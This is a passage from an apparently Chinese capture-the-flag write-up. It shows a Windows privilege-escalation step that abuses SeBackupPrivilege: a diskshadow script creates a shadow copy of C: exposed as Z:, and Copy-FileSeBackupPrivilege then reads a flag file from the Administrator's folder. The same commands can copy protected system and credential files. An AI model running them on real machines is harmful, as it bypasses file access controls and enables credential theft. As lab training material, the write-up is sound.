"add volume c: alias myVolume" | Out-File C:\programdata\temp\vss.dsh -Encoding ascii -Append
"create" | Out-File C:\programdata\temp\vss.dsh -Encoding ascii -Append
"expose %myVolume% z:" | Out-File C:\programdata\temp\vss.dsh -Encoding ascii -Append
最终的文件内容：
set context persistent nowriters
set metadata C:\programdata\temp\test.cab
set verbose on
add volume c: alias myVolume
create
expose %myVolume% z:
执行
diskshadow /s C:\programdata\temp\vss.dsh
复制目标文件到我们的目录
Copy-FileSeBackupPrivilege "Z:\Users\Administrator\flag\flag04.txt" "C:\programdata\temp\flag.txt"
type C:\programdata\temp\flag.txt
浙公网安备 33010602011771号